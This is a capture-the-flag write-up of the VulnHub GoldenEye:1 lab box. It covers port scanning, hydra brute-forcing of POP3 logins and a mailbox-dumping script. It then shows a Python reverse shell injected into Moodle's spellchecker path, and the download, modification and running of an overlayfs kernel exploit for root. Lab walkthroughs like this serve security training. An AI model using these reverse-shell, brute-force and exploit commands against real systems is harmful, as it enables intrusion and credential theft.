Vulnhub Goldeneye Writeup

15 minute read

Being a massive fan of the Golden eye movie and an even bigger fan of the N64 game I was chomping at the bit to have a crack at the VulnHub box - GoldenEye:1. Wow, what a box, a bit of everything involved. Created by creosote, this box is billed as an OSCP like box and it definitely does not disappoint.

Alright, let’s dive in!

First things first, I’ll find the IP address using netdiscover:

netdiscover -i eth0 -r 10.0.0.0/24

After running netdiscover I find the GoldenEye box has an ip address of 10.0.0.27. With that information in hand, I start off by scanning all ports:

root@delo:~# masscan -p1-65535,U:1-65535 10.0.0.27 --rate=500 -e eth0

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-08-16 01:34:07 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.0.0.27                                       
Discovered open port 55007/tcp on 10.0.0.27                                    
Discovered open port 55006/tcp on 10.0.0.27                                    
Discovered open port 25/tcp on 10.0.0.27         

Next, I attempt to identify the service and service versions running on each port by using nmap:

root@delo:~# nmap -T4 -A -p 80,55007,55006,25 10.0.0.27
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-15 21:48 EDT
Nmap scan report for ubuntu (10.0.0.27)
Host is up (0.00039s latency).

PORT      STATE SERVICE     VERSION
25/tcp    open  smtp        Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2018-04-24T03:22:34
|_Not valid after:  2028-04-21T03:22:34
|_ssl-date: TLS randomness does not represent time
80/tcp    open  http        Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: GoldenEye Primary Admin Server
55006/tcp open  ssl/unknown
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after:  2028-04-23T03:23:52
|_ssl-date: TLS randomness does not represent time
55007/tcp open  pop3     Dovecot pop3d
|_pop3-capabilities: PIPELINING TOP SASL(PLAIN) STLS CAPA USER AUTH-RESP-CODE RESP-CODES UIDL
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Issuer: commonName=localhost/organizationName=Dovecot mail server
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-04-24T03:23:52
| Not valid after:  2028-04-23T03:23:52
| MD5:   d039 2e71 c76a 2cb3 e694 ec40 7228 ec63
|_SHA-1: 9d6a 92eb 5f9f e9ba 6cbd dc93 55fa 5754 219b 0b77
|_ssl-date: TLS randomness does not represent time

MAC Address: 08:00:27:3B:86:3C (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.39 ms ubuntu (10.0.0.27)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 180.83 seconds

Not too much to write home about. We have a web service running on port 80, a dovecot SMTP setup on 25 and dovecot SSL/Non-SSL pop3 services running on 55006 and 5507, respectively. I’ll start enumerating the web service first:

root@delo:~# curl 10.0.0.27
<html>
<head>
<title>GoldenEye Primary Admin Server</title>
<link rel="stylesheet" href="index.css">
</head>

	<span id="GoldenEyeText" class="typeing"></span><span class='blinker'>&#32;</span>

<script src="terminal.js"></script>
	
</html>

Pretty sparse response. I’ll check that terminal.js file from the cmd line:

root@delo:~# curl 10.0.0.27/terminal.js
var data = [
  {
    GoldenEyeText: "<span><br/>Severnaya Auxiliary Control Station<br/>****TOP SECRET ACCESS****<br/>Accessing Server Identity<br/>Server Name:....................<br/>GOLDENEYE<br/>
			<br/>User: UNKNOWN<br/><span>Naviagate to /sev-home/ to login</span>"
  }
];

//
//Boris, make sure you update your default password. 
//My sources say MI6 maybe planning to infiltrate. 
//Be on the lookout for any suspicious network traffic....
//
//I encoded you p@ssword below...
//
//&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;
//
//BTW Natalya says she can break your codes
//

var allElements = document.getElementsByClassName("typeing");
for (var j = 0; j < allElements.length; j++) {
  var currentElementId = allElements[j].id;
  var currentElementIdContent = data[0][currentElementId];
  var element = document.getElementById(currentElementId);
  var devTypeText = currentElementIdContent;

 
  var i = 0, isTag, text;
  (function type() {
    text = devTypeText.slice(0, ++i);
    if (text === devTypeText) return;
    element.innerHTML = text + `<span class='blinker'>&#32;</span>`;
    var char = text.slice(-1);
    if (char === "<") isTag = true;
    if (char === ">") isTag = false;
    if (isTag) return type();
    setTimeout(type, 60);
  })();
}

Firstly I browse to the /sev-home/ directory which is password protected with a HTTP basic authentication form. Further down in the code we have a comment left for Boris by someone, telling him he has encocded his password and included it below. I can tell straight away it’s decimal charachter code. I’ll use this online tool to decode it.

gecc

We now have a password, “InvincibleHack3r”, associated with a user named boris. I fire up my browser and will attempt to use those credentials on the /sev-home/ directory I looked at before. Beautiful the credentials work. I’m then greeted with another message:

gecc

To be thorough I also check the source code of the /sev-home/ page:

root@delo:~# curl http://10.0.0.27/sev-home/ -u boris:InvincibleHack3r
<html>
<head>

<link rel="stylesheet" href="index.css">
</head>


<video poster="val.jpg" id="bgvid" playsinline autoplay muted loop>

<source src="moonraker.webm" type="video/webm">


</video>
<div id="golden">
<h1>GoldenEye</h1>
<p>GoldenEye is a Top Secret Soviet oribtal weapons project. Since you have access you definitely hold a Top Secret clearance and qualify to be a certified GoldenEye Network Operator (GNO) </p>
<p>Please email a qualified GNO supervisor to receive the online <b>GoldenEye Operators Training</b> to become an Administrator of the GoldenEye system</p>
<p>Remember, since <b><i>security by obscurity</i></b> is very effective, we have configured our pop3 service to run on a very high non-default port</p>
</div>


<script src="index.js"></script>
 <!-- 
Qualified GoldenEye Network Operator Supervisors: 
Natalya
Boris
 -->

</html>

By doing so we reveal some further information, that states that both Boris and Natalya are Qualified GoldenEye Network Operator Supervisors. It seems like my next step is to log into the pop3 server. I’ll try with the Boris credentials I found earlier:

root@delo:~# telnet 10.0.0.27 55007
Trying 10.0.0.27...
Connected to 10.0.0.27.
Escape character is '^]'.
+OK GoldenEye POP3 Electronic-Mail System
USER boris
+OK
PASS InvincibleHack3r
-ERR [AUTH] Authentication failed.
USER boris@localhost
+OK
PASS InvincibleHack3r
-ERR [AUTH] Authentication failed.
-ERR Disconnected for inactivity.
Connection closed by foreign host.

Hmm, no good. I decide to try with a bruteforce on the natalya account. I don’t have anyluck with rockyou.txt, which is strange. Not to be deterred I try with a few other wordlists, and finally find one that brutes the password:

root@delo:~# hydra 10.0.0.27 -s 55007 -l natalya -P  /usr/share/wordlists/fasttrack.txt pop3
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-08-16 20:27:50
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 222 login tries (l:1/p:222), ~14 tries per task
[DATA] attacking pop3://10.0.0.27:55007/
[STATUS] 80.00 tries/min, 80 tries in 00:01h, 142 to do in 00:02h, 16 active
[55007][pop3] host: 10.0.0.27   login: natalya   password: bird
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-08-16 20:29:58

I decide to try the same wordlist against the Boris account and have success:

root@delo:~# hydra 10.0.0.27 -s 55007 -l boris -P  /usr/share/wordlists/fasttrack.txt pop3
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-08-16 20:31:44
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 222 login tries (l:1/p:222), ~14 tries per task
[DATA] attacking pop3://10.0.0.27:55007/
[STATUS] 80.00 tries/min, 80 tries in 00:01h, 142 to do in 00:02h, 16 active
[STATUS] 64.00 tries/min, 128 tries in 00:02h, 94 to do in 00:02h, 16 active
[55007][pop3] host: 10.0.0.27   login: boris   password: secret1!
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-08-16 20:34:31

Great, now I have to login to read any mail that is in both users mailboxes. I take this oppurtunity to write quick python script that will dump each users mailbox items respectively:

#!/usr/bin/python
import getpass 
import poplib
import sys

if len(sys.argv) < 4 or sys.argv[1].strip().lower() == "--help":
    print("Pop3 mailbox dumper by delo:\n"+sys.argv[0]+"username password ip port")
    exit()

username = sys.argv[1]
password = sys.argv[2]
ip       = sys.argv[3]
port     = sys.argv[4]
 
Mailbox = poplib.POP3(ip, port) 
Mailbox.user(username) 
Mailbox.pass_(password) 
numMessages = len(Mailbox.list()[1])
for i in range(numMessages):
    for msg in Mailbox.retr(i+1)[1]:
        print msg
Mailbox.quit()

Running the script produces:

root@delo:~# python pop3dumper.py boris secret1! 10.0.0.27 55007
Return-Path: <root@127.0.0.1.goldeneye>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
	by ubuntu (Postfix) with SMTP id D9E47454B1
	for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
Message-Id: <20180425022326.D9E47454B1@ubuntu>
Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
From: root@127.0.0.1.goldeneye

Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.
Return-Path: <natalya@ubuntu>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
	by ubuntu (Postfix) with ESMTP id C3F2B454B1
	for <boris>; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
Message-Id: <20180425024249.C3F2B454B1@ubuntu>
Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
From: natalya@ubuntu

Boris, I can break your codes!
Return-Path: <alec@janus.boss>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from janus (localhost [127.0.0.1])
	by ubuntu (Postfix) with ESMTP id 4B9F4454B1
	for <boris>; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
Message-Id: <20180425025235.4B9F4454B1@ubuntu>
Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
From: alec@janus.boss

Boris,

Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!

Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....

PS - Keep security tight or we will be compromised.
 

And I run the script again for the natalya account:

root@delo:~# python pop3dumper.py natalya bird 10.0.0.27 55007
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from ok (localhost [127.0.0.1])
	by ubuntu (Postfix) with ESMTP id D5EDA454B1
	for <natalya>; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
Message-Id: <20180425024542.D5EDA454B1@ubuntu>
Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
From: root@ubuntu

Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.

Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from root (localhost [127.0.0.1])
	by ubuntu (Postfix) with SMTP id 17C96454B1
	for <natalya>; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
Message-Id: <20180425031956.17C96454B1@ubuntu>
Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
From: root@ubuntu

Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)

Ok, user creds are:

username: xenia
password: RCP90rulez!

Boris verified her as a valid contractor so just create the account ok?

And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network....

Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.

Not much to see in the Boris account, but there’s some juicy info in Natalya’s mailbox - a user named “xenia” credentials and a hint to add a certain domain to /etc/hosts:

root@delo:~# echo "10.0.0.27     severnaya-station.com" >> /etc/hosts
root@delo:~# curl severnaya-station.com
<html>
<head>
<title>GoldenEye Primary Admin Server</title>
<link rel="stylesheet" href="index.css">
</head>

	<span id="GoldenEyeText" class="typeing"></span><span class='blinker'>&#32;</span>

<script src="terminal.js"></script>
	
</html>

Cool. I’ll check it out in a web browser:

gecc

It’s a moodle installation, which is a learning management system. I log in with the xenia credentials I found in Natalya’s mailbox and begin to navigate around the website. I stumble across a private message that was sent to Xenia by someone called Doctor Doak.

gecc

Interesting he specifically states to contact him by email and not via moodle. I decide to try and brute force his account with the same wordlist as I used for both the Boris and Natalya accounts:

root@delo:~# hydra 10.0.0.27 -s 55007 -l doak -P /usr/share/wordlists/fasttrack.txt pop3
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-08-16 21:10:38
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 222 login tries (l:1/p:222), ~14 tries per task
[DATA] attacking pop3://10.0.0.27:55007/
[STATUS] 80.00 tries/min, 80 tries in 00:01h, 142 to do in 00:02h, 16 active
[STATUS] 68.00 tries/min, 136 tries in 00:02h, 86 to do in 00:02h, 16 active
[55007][pop3] host: 10.0.0.27   login: doak   password: goat
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-08-16 21:12:58

Beautiful! Let’s attempt to dump his emails:

root@delo:~# python pop3dumper.py doak goat 10.0.0.27 55007
Return-Path: <doak@ubuntu>
X-Original-To: doak
Delivered-To: doak@ubuntu
Received: from doak (localhost [127.0.0.1])
	by ubuntu (Postfix) with SMTP id 97DC24549D
	for <doak>; Tue, 30 Apr 1995 20:47:24 -0700 (PDT)
Message-Id: <20180425034731.97DC24549D@ubuntu>
Date: Tue, 30 Apr 1995 20:47:24 -0700 (PDT)
From: doak@ubuntu

James,
If you're reading this, congrats you've gotten this far. You know how tradecraft works right?

Because I don't. Go to our training site and login to my account....dig until you can exfiltrate further information......

username: dr_doak
password: 4England!

Success. I’ll log out of the xenia account and login into the dr_doak account:

gecc

After logging in as Dr Doak, I check his profile for any private messages but come up empty handed. I then check his private files and there is a folder titled “for james” waiting there for me. Inside the folder is a file called s3cret.txt which contains the following contents:

S3cret.txt contains the following message:

007,

I was able to capture this apps adm1n cr3ds through clear txt. 

Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here. 

Something juicy is located here: /dir007key/for-007.jpg

Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.

I visit the URL Dr Doak mentioned annd find the following image:

gecc

I save the image to my box and run strings on it. I immediately notice base64 string hiding towards the top of the image:

root@delo:~/Desktop# strings for-007.jpg 
JFIF
Exif
eFdpbnRlcjE5OTV4IQ==
GoldenEye
linux
For James
0231
0100
ASCII
For 007
""""""""""
             !      !!!   !!!!!!!!"""""""""""""""
$3br
%4Uc
<-snip->

Decoding it gives me the following:

root@delo:~/Desktop# echo "eFdpbnRlcjE5OTV4IQ==" | base64 -d
xWinter1995x!

Nice! That must be the admin password. I log out of the dr_doak account and log back in with the credentials “admin” and “xWinter1995x!”. I now have myself an admin session on the moodle site. I then begin to enumerate the web interface as the admin user. In server settings I find a page relating to system paths which shows a shell command that should be pointing to the location of the spellchecker program, aspell.

gecc

After a bit of research, I replace the contents of the field with a python reverse shell and start a listener on my box. I create a new blog entry and hit spell check, in theory this should give me a shell, but instead I get nothing. What the hell? I play with different payloads but still I get no callback. I browse around the other admin pages and finally it clicks, the TinyMCE spellcheck settings are using google spellcheck. I change this to PSpellShell and reinstate my python payload in the field, finally i go back to my created blog enter and hit enter:

gecc

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.23",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
root@delo:~# nc -lvp 443
listening on [any] 443 ...
connect to [10.0.0.23] from severnaya-station.com [10.0.0.27] 60118
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/sh")'

I get the callback. Fantastic. Now, time for privelge escalation. I begin by checking the kernel version:

$ uname -a
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

It’s quite old and quick search on exploit-db reveals that this version should be vulnerable to the overlay file system exploit. I transfer the exploit from my box to the host and attempt to compile with gcc:

$ wget http://10.0.0.23:8000/ofs.c
wget http://10.0.0.23:8000/ofs.c
--2018-08-16 22:30:46--  http://10.0.0.23:8000/ofs.c
Connecting to 10.0.0.23:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4992 (4.9K) [text/plain]
Saving to: 'ofs.c'

100%[======================================>] 4,992       --.-K/s   in 0s      

2018-08-16 22:30:46 (1.19 GB/s) - 'ofs.c' saved [4992/4992]
$ gcc ofs.c
gcc ofs.c
/bin/sh: 8: gcc: not found

Oh man, no gcc! What about cc?

$ cc --version
cc --version
Ubuntu clang version 3.4-1ubuntu3 (tags/RELEASE_34/final) (based on LLVM 3.4)
Target: x86_64-pc-linux-gnu
Thread model: posix

Nice! It’s there. Being familar with this exploit, I know that the exploit tries to compile another .so using gcc so I have to change that part of te exloit from gcc to cc first, from:

    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }

to:

    lib = system("cc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }

I should be able to run it now:

$ cc ofs.c -o ofs
cc ofs.c -o ofs
ofs.c:94:1: warning: control may reach end of non-void function [-Wreturn-type]
}
^
ofs.c:106:12: warning: implicit declaration of function 'unshare' is invalid in C99 [-Wimplicit-function-declaration]
        if(unshare(CLONE_NEWUSER) != 0)
           ^
ofs.c:111:17: warning: implicit declaration of function 'clone' is invalid in C99 [-Wimplicit-function-declaration]
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
                ^
ofs.c:117:13: warning: implicit declaration of function 'waitpid' is invalid in C99 [-Wimplicit-function-declaration]
            waitpid(pid, &status, 0);
            ^
ofs.c:127:5: warning: implicit declaration of function 'wait' is invalid in C99 [-Wimplicit-function-declaration]
    wait(NULL);
    ^
5 warnings generated.
$ ls
ls
ofs  ofs.c  tinyspellfRtVeW
$ chmod +x ofs
chmod +x ofs
$ ./ofs
./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

Awesome! Let’s grab the root flag:

# id; hostname; cat .flag.txt
id; hostname; cat .flag.txt
uid=0(root) gid=0(root) groups=0(root),33(www-data)
ubuntu
Alec told me to place the codes here: 

568628e0d993b1973adc718237da6e93

If you captured this make sure to go here.....
/006-final/xvf7-flag/

That’s a wrap! A very fun and challenging box, I’d say if you can complete this box with minimal help you are more than ready to take the OSCP exam.

Updated: